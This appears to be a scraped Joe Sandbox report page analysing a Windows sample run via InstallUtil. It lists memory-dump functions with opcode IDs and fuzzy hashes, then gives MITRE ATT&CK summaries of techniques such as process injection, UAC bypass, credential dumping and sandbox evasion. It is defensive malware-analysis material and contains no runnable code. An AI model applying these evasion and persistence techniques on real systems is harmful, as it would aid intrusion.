Instruction Fuzzy Hash: 2C217C71A102189FDF19CFA8C458ADEBFB6EF8D320F149129E415AB394CB719941CBA0

Function 07319B08 Relevance: .1, Instructions: 67COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.4552597813.0000000007310000.00000040.00000800.00020000.00000000.sdmp, Offset: 07310000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7310000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9f5651e3e768650c6dc824531acf2cde9ecb9e6566edabbe8844aa7e2c38c4e7
Instruction ID: 89cdc64a326864f45a910f2f4eea3da0945b2d7a894776425d2f480f75e7cff1
Opcode Fuzzy Hash: 9f5651e3e768650c6dc824531acf2cde9ecb9e6566edabbe8844aa7e2c38c4e7
Instruction Fuzzy Hash: 1F217F71A002189FCF19DF98C454ADEBFBAEF8D320F149129E415BB394CB71A941CBA0

Function 00B4D006 Relevance: .1, Instructions: 63COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.4528522198.0000000000B4D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00B4D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_b4d000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4d6a1f496babe06820b68e078bc0ed13f04cd103ea4080c7aeaa2b9a234fd8c6
Instruction ID: ce800401acfd3ebaec450fbcb2d4525e133772eaf4aa14fd3d700e1110987cbe
Opcode Fuzzy Hash: 4d6a1f496babe06820b68e078bc0ed13f04cd103ea4080c7aeaa2b9a234fd8c6
Instruction Fuzzy Hash: 292192755083809FCB02CF14D994B11BFB1FB46314F28C5DAD8498F2A7C33A990ADB62

Function 00B3D4D3 Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.4528246475.0000000000B3D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00B3D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_b3d000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: be84e5d2ba6eb25d2e30d29f2c5ffdc4cdcd384a79140dda988d9b090738847a
Instruction ID: 5d14a83cd21cff8ccfa4ac80cefbf4892e5b8d135891d3f865c4651e2ed1c7b0
Opcode Fuzzy Hash: be84e5d2ba6eb25d2e30d29f2c5ffdc4cdcd384a79140dda988d9b090738847a
Instruction Fuzzy Hash: 5A11D376504240CFCB16CF14D5C4B16BFB1FBA8314F34C6A9D9090B256C33AD85ACBA2

Function 07319F98 Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.4552597813.0000000007310000.00000040.00000800.00020000.00000000.sdmp, Offset: 07310000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7310000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a779a84bf44afa5160d289bda86b1698fc4c2c542604dc58b0a4f97c2781d86d
Instruction ID: d19700f200e96edfda5932d523f72c4c84bf8936661ba7b430984be609a67216
Opcode Fuzzy Hash: a779a84bf44afa5160d289bda86b1698fc4c2c542604dc58b0a4f97c2781d86d
Instruction Fuzzy Hash: FC118B753113059FCB1A6B38D828A6D37A6EFC826270480A9E90ACB3A1DF35DC12D795

Function 07312101 Relevance: .0, Instructions: 46COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.4552597813.0000000007310000.00000040.00000800.00020000.00000000.sdmp, Offset: 07310000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7310000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 24e77918f449386de5716b6830a459143e9b42ac15751a3d32f22b11d80b7f85
Instruction ID: 2819dc2cbc359d31f93934c2fbe1beb127618b1df8a68cfddb1413d078de4c86
Opcode Fuzzy Hash: 24e77918f449386de5716b6830a459143e9b42ac15751a3d32f22b11d80b7f85
Instruction Fuzzy Hash: 8D0192713003048FD729AB24D848B7B77A2BBC9321F148A2DE55A4B7A0CBB5D802DB81

Function 07319808 Relevance: .0, Instructions: 46COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.4552597813.0000000007310000.00000040.00000800.00020000.00000000.sdmp, Offset: 07310000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7310000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f24e834e08e3b5e0de87bf080eded3847a32fcc9f33e9ba9d02681bd60a18008
Instruction ID: f2929d61faccefbdaf68d414350635b5a15f372d5b586f1cf74e512e1dacbcc6
Opcode Fuzzy Hash: f24e834e08e3b5e0de87bf080eded3847a32fcc9f33e9ba9d02681bd60a18008
Instruction Fuzzy Hash: 651130B0A10264DFDB19DF98D8A5F9DBBF1BF44310F150059E509AB7A2CB75AC05CB40

Function 07312110 Relevance: .0, Instructions: 44COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.4552597813.0000000007310000.00000040.00000800.00020000.00000000.sdmp, Offset: 07310000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7310000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cd66e9c8eb250799f987c246333b6ee08b33500737559ddc99dddba216731fd9
Instruction ID: 515c2af2bb3352eb1054689dc4d5d373b3b7d8343de7fd539c6d360ec3eb9267
Opcode Fuzzy Hash: cd66e9c8eb250799f987c246333b6ee08b33500737559ddc99dddba216731fd9
Instruction Fuzzy Hash: BC019E713002048FD329AA64C844A2B77A2BBC9321F14856CE5164B7A0CB75E802DB80

Function 0731A610 Relevance: .0, Instructions: 41COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.4552597813.0000000007310000.00000040.00000800.00020000.00000000.sdmp, Offset: 07310000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7310000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: da835e2e82633198487b30ac0753f357023af4a1b98ddaecaf951105ca6a9fb1
Instruction ID: 62a9245f2ffc908f41afdc12e8f35a4706062cfb7ea3b0702e4896b43b359150
Opcode Fuzzy Hash: da835e2e82633198487b30ac0753f357023af4a1b98ddaecaf951105ca6a9fb1
Instruction Fuzzy Hash: E3015E75E11609DFCB14DFA8D908A9EBBF1FF89311F108259E419E7360EB30AA05CB51

Function 00B3D603 Relevance: .0, Instructions: 37COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.4528246475.0000000000B3D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00B3D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_b3d000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fd00b96b764e96d3e03f6303ccd13d929e2463ee68334f1f512aa8eea33a4c3b
Instruction ID: 960bbb016d220705ec27d12a7d5160edb5134076ebe34184c5933e0716036e52
Opcode Fuzzy Hash: fd00b96b764e96d3e03f6303ccd13d929e2463ee68334f1f512aa8eea33a4c3b
Instruction Fuzzy Hash: ADF0E7B6200640AF97208F0AD885C23FBADFFD5770725C59AE85A4B612C671EC41CEA0

Function 07319AA0 Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.4552597813.0000000007310000.00000040.00000800.00020000.00000000.sdmp, Offset: 07310000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7310000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 28b04cc7f70c6991ac42c154f41c49d450d25acaa1afdaace5907b9955b9929a
Instruction ID: 4db0d2d735c468df16663637a793dacfe6b6195e9a8438cbef8710178892b234
Opcode Fuzzy Hash: 28b04cc7f70c6991ac42c154f41c49d450d25acaa1afdaace5907b9955b9929a
Instruction Fuzzy Hash: 52F0E2B2B456125FF71896599820B2BFBE9EFC9720F14442AE5099F390CAB2FC41C390

Function 00B3D5F4 Relevance: .0, Instructions: 35COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.4528246475.0000000000B3D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00B3D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_b3d000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 425bf680ca40caf8f16cefc8e7559069c30b2fcb8c8e76201ef5b1e34bcf47ae
Instruction ID: 82f8a272255c4d35e8ca7f88d59c6f0c297edb28924dfb0fee1f719a03aae896
Opcode Fuzzy Hash: 425bf680ca40caf8f16cefc8e7559069c30b2fcb8c8e76201ef5b1e34bcf47ae
Instruction Fuzzy Hash: 38F03C75104680AFD715CF15CC85C22BBF9FF867607298489E85A4B362C631FC42CF60

Function 07312F50 Relevance: .0, Instructions: 34COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.4552597813.0000000007310000.00000040.00000800.00020000.00000000.sdmp, Offset: 07310000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7310000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fa87cfca815ccde5d02db4990d935af837fe16faaa3f3172395b69d8d2197987
Instruction ID: 6b407ef56d9d35a4afef79f62f87a71a4bfb41e29a9edef4fd5860fdf69e7355
Opcode Fuzzy Hash: fa87cfca815ccde5d02db4990d935af837fe16faaa3f3172395b69d8d2197987
Instruction Fuzzy Hash: BAF0E5713413019FFB2826799825B6B37AAEB81215F10447DF50E8F2C8EE72EC108390

Function 073198A8 Relevance: .0, Instructions: 32COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.4552597813.0000000007310000.00000040.00000800.00020000.00000000.sdmp, Offset: 07310000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7310000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7a80a51c95e31925fe134acdb8e1ddc70c7f37ef70a56838583ec6ef73726834
Instruction ID: 39512ed2b008897c2e6f8a9953e63d2188c258a7c71633ba9a2af44c08089252
Opcode Fuzzy Hash: 7a80a51c95e31925fe134acdb8e1ddc70c7f37ef70a56838583ec6ef73726834
Instruction Fuzzy Hash: 5EF062F0A50195DBEB14EF54C869BADBFF2EF44310F140424E40A97791CB74AC06CB40

Function 07312F43 Relevance: .0, Instructions: 28COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.4552597813.0000000007310000.00000040.00000800.00020000.00000000.sdmp, Offset: 07310000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7310000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1517cdc3df2997de8460edc2b73ae17485999fcc98fdf8824040faa6b973785c
Instruction ID: 35535089a5d09e2c0e2c60de620d8dcc571399673befadcf9e109d64d5ae7949
Opcode Fuzzy Hash: 1517cdc3df2997de8460edc2b73ae17485999fcc98fdf8824040faa6b973785c
Instruction Fuzzy Hash: 34F06DB17023418FFB295A358526B2B3BA6AB41215F1444BDF90A4F6C4EB36D850C785

Function 07313873 Relevance: .0, Instructions: 25COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.4552597813.0000000007310000.00000040.00000800.00020000.00000000.sdmp, Offset: 07310000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7310000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a19554e44ab937936d732ddf0322f2f7b02237a952f76dcde4472824683ff93b
Instruction ID: c3324e6c0efba17d9b849f909131f5f64841703a0be4be484908839ddd076832
Opcode Fuzzy Hash: a19554e44ab937936d732ddf0322f2f7b02237a952f76dcde4472824683ff93b
Instruction Fuzzy Hash: 0BF030767401048FD744DF68DD95A9AB7B5FF88310F2042A5DA0A8B25ACA31DD12CB50

Function 05B2FF50 Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.4547830170.0000000005B20000.00000040.00000800.00020000.00000000.sdmp, Offset: 05B20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_5b20000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cb086e0f897d30f09aff62bd5e0ee739bf59f9b168727f9317cc14be3bfb4441
Instruction ID: 8f47e6ef8e1705199b8f7bd1f06af122047708d3592e22e2ad31a5e1bc87a8f6
Opcode Fuzzy Hash: cb086e0f897d30f09aff62bd5e0ee739bf59f9b168727f9317cc14be3bfb4441
Instruction Fuzzy Hash: A4E0863120ABE406CB3855659607377BBECEF01728F040CAEE54FC1420C7EEF4888650

Function 07319960 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.4552597813.0000000007310000.00000040.00000800.00020000.00000000.sdmp, Offset: 07310000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7310000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 20c7faff7222b27bdc3021a3365e6a689f66755b9f7a7095923b1249273b6cc8
Instruction ID: 6716832c81505488194b957dc398cd245a7904d15f0e87854374d4da066f3ae7
Opcode Fuzzy Hash: 20c7faff7222b27bdc3021a3365e6a689f66755b9f7a7095923b1249273b6cc8
Instruction Fuzzy Hash: 91D0127621125057D704ABA9A45525A7FAAEB89750F01806AE90AC7654DE7098024BA1

Function 07318F18 Relevance: .0, Instructions: 18COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.4552597813.0000000007310000.00000040.00000800.00020000.00000000.sdmp, Offset: 07310000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7310000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ba5278c865a4f2a6d0a7cbea235b23afaa9c5a51731a79012dc113bc9d6aabb4
Instruction ID: 7bf26ff8121b9fbcbdd67e96e3f616dcb7cb48b25fb1f8b1f3e23c4d6474e2ff
Opcode Fuzzy Hash: ba5278c865a4f2a6d0a7cbea235b23afaa9c5a51731a79012dc113bc9d6aabb4
Instruction Fuzzy Hash: 49D01271610B208BD7299B66A40959AFBE69F88621B05C52AE80E86640DF7959418BC4

Function 0731391B Relevance: .0, Instructions: 17COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.4552597813.0000000007310000.00000040.00000800.00020000.00000000.sdmp, Offset: 07310000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7310000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 622484a1504ce97a000add05edce08b16283063f6aa7f1500f28f09d6ab04a44
Instruction ID: 9645aa627d2510279fdf9d21a1a922c18370c73717c55cdda26d2cd9f597daca
Opcode Fuzzy Hash: 622484a1504ce97a000add05edce08b16283063f6aa7f1500f28f09d6ab04a44
Instruction Fuzzy Hash: 0DD05BF79457485FD7109640A885789F790F75512CF5591AEC5544D003C339411F9751

Function 07319970 Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.4552597813.0000000007310000.00000040.00000800.00020000.00000000.sdmp, Offset: 07310000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7310000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4cb4d2deed7c45118e2aa03ed1fdd14ee63931e24c2735bd535b902c5005102b
Instruction ID: bf4c98c60b7aa702642968e12fc367c2b3f5c8113fb1821a97df235dbeae4ae8
Opcode Fuzzy Hash: 4cb4d2deed7c45118e2aa03ed1fdd14ee63931e24c2735bd535b902c5005102b
Instruction Fuzzy Hash: 36D0C97671025447D708A7AAA46056FBA9FABC9360B05806AA90A83744DD70EC014AA6

Function 07317E48 Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.4552597813.0000000007310000.00000040.00000800.00020000.00000000.sdmp, Offset: 07310000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7310000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 76daebbe371437c4fbdccf2a46069981d014bb52fccdf8dc04ed297e19d6995e
Instruction ID: d915d14be3358e1229d85442c9b4654e4c5e5096b19f1b911e1f6a84af8b2004
Opcode Fuzzy Hash: 76daebbe371437c4fbdccf2a46069981d014bb52fccdf8dc04ed297e19d6995e
Instruction Fuzzy Hash: C1D0123E100200ABC200CA04CC93B92B3B2EB89604F28D059A4188B382CA37EC03EBA1

Function 07318EB8 Relevance: .0, Instructions: 11COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.4552597813.0000000007310000.00000040.00000800.00020000.00000000.sdmp, Offset: 07310000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7310000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e750fadb2e3f793140cf8834944f000354362e4e81309ea17a762aa8ffe5a08e
Instruction ID: 3a5108a4c7b3a36b12c5fd78da38794ef60a73b8ff6835ff13c542c78b2f58c0
Opcode Fuzzy Hash: e750fadb2e3f793140cf8834944f000354362e4e81309ea17a762aa8ffe5a08e
Instruction Fuzzy Hash: 4AC08CB041030C8FEB205B60E80D322B75CEB0423EF20539DEC0C45141DB7A64AAC6AA

Function 073123D1 Relevance: .0, Instructions: 10COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.4552597813.0000000007310000.00000040.00000800.00020000.00000000.sdmp, Offset: 07310000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7310000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4d0fd0f3790c5c59691e7076da78bd17e18f44882b39b2e49680ceaa9960f9da
Instruction ID: df16e2636b66041b50da1277831d45d69591a502e3191f67caff48550c4d326d
Opcode Fuzzy Hash: 4d0fd0f3790c5c59691e7076da78bd17e18f44882b39b2e49680ceaa9960f9da
Instruction Fuzzy Hash: 59C012320A03089BC720AF90E8086A0BF38B748321F40831AF11A4A8A0CF338452CB84

Function 073123E0 Relevance: .0, Instructions: 7COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.4552597813.0000000007310000.00000040.00000800.00020000.00000000.sdmp, Offset: 07310000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7310000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cd640a499f8fdf76be220130e4bf2f1799959503363196f4f6740ea3021115bc
Instruction ID: fecc3523ed5ae8e506ac1750dd3f4ac2fa1f08e5359ea3e257743ef3f715a6a8
Opcode Fuzzy Hash: cd640a499f8fdf76be220130e4bf2f1799959503363196f4f6740ea3021115bc
Instruction Fuzzy Hash: B0B09232010208AB8600AB84E808895BB69AB98712B008065A6090A5218B73A862DA98

Non-executed Functions

Function 07310040 Relevance: 5.2, Strings: 4, Instructions: 159COMMON

Download Yara Rule

Strings

(_jq, xrefs: 073106EB
(_jq, xrefs: 07310762
(_jq, xrefs: 0731072C
(_jq, xrefs: 073106F5

Memory Dump Source

Source File: 00000007.00000002.4552597813.0000000007310000.00000040.00000800.00020000.00000000.sdmp, Offset: 07310000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7310000_InstallUtil.jbxd

Similarity

API ID:
String ID: (_jq$(_jq$(_jq$(_jq
API String ID: 0-437935255
Opcode ID: d071864c35d16edf0eed17e495b4d74257d24b5fdc7fad370e5b1bd6b96dcf71
Instruction ID: 7ea014d4f62bf194828d1d525b20d59619181189aa4276b98d799d72afeb8771
Opcode Fuzzy Hash: d071864c35d16edf0eed17e495b4d74257d24b5fdc7fad370e5b1bd6b96dcf71
Instruction Fuzzy Hash: 24518FB5B10205CFDB48EF78C45456EBBB6EF89314B2045ADE406AB361EB31DC81CB90

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may bypass UAC mechanisms to elevate process privileges on system. Windows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation. The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Command: Command Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may set files and directories to be hidden to evade detection mechanisms. To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches ( `dir /a` for Windows and `ls –a` for Linux and macOS).
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

